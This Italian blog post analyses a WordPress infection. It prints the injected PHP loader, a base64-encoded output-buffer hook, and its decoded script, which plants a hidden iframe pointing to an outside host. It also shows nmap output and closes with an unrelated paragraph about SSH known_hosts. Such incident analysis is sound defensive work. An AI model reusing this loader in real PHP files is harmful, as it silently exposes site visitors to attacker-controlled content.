Negli ultimi tempi si è verificato un aumento esponenziale degli attacchi verso la piattaforma WordPress. Ciò, secondo me, è dovuto essenzialmente a due fattori:
1) Diffusione su larga scala della suddetta piattaforma, che la rende più appetibile ai cracker;
2) Scarsa sensibilizzazione dei webmaster, i quali, troppo presi dalla grafica e dalla stesura del codice lato server, tendono a trascurare pensantemente le patch di sicurezza, solitamente incluse negli aggiornamenti dei plugin e del CMS.
L’ultimo attacco XSS con cui ho avuto a che fare presentava il seguente codice PHP iniettato in tutte i file index.php:
<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vdmlkaW50ZXguY29tL2luY2x1ZGVzL2NsYXNzLnBvcC5waHAiPjwvaWZyYW1lPjwvZGl2PicpOzwvc2NyaXB0Pg==');} echo $_SERVER["HTTP_HOST"]; ?>
Inoltre, sullo spazio FTP, era presente il seguente file:
google_verify.php
utilizzato un po’ come firma, ovvero per fare in modo che il malware non infettasse il server più volte.
Mediante la decodifica della stringa in Base64 sono riuscito a ricavare questo codice javascrip:
<scrip>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</scrip>
In particolare, esso non fa altro che iniettare un iframe nella pagina vittima. La URL a cui punta l’iframe in questione è:
http://vidintex.com/includes/class.pop.php
la quale, contattata manualmente mediante browser, mi restituisce un bell’errore HTTP 404 (not found). Ciò mi lascia pensare che l’attacco descritto in questo post si sviluppa in due fasi:
1) durante la prima fase vengono compromessi N server (ad esempio attraverso un attacco RFI), che verranno utilizzati come target dell’iframe;
2) successivamente, nella seconda fase, verrà perpetrato l’attacco XSS vero e proprio.
Ergo, quel not found indica semplicemente che uno dei server coinvolti nella prima fase è stato ripulito e patchato. Incuriosito, sono andato a cercare il codice sorgente della pagina class.pop.php, che potete consultare qui. Essa non fa altro che gestire le varie fasi che riguardano la connessione ad un server POP3. Indovinate cosa mi ha restituito un nmap verso vidintex.com?
Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 10:28 CET
Interesting ports on silver.sakma.com (217.113.244.170):
Not shown: 848 closed ports, 142 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
110/tcp open pop3
443/tcp open https
993/tcp open imaps
995/tcp open pop3s
3306/tcp open mysql
8443/tcp open https-alt
ovvero la porta 110 (POP3) è in ascolto sul server. Quindi, mediante questo giochetto, i cracker possono tentare l’accesso al demone di posta ospitato sul server Web, in modo semi-automatizzato e nascondendo le proprie tracce (l’IP sorgente sarà sempre e comunque localhost). Intendo precisare che le mie sono solo congetture, per avere informazioni più dettagliate dovrei studiare ulteriori casi. A tal proposito, se ne avete, fornitemeli (solo se la URL punta a class.pop.php).
Alla prossima.
In soldoni, la prima volta che ci si connette al server, sul nostro client (nel file known_hosts) viene salvata una entry contenente FQDN, IP, tipologia di chiave (ad esempio ssh-rsa) e chiave pubblica codificata in base64.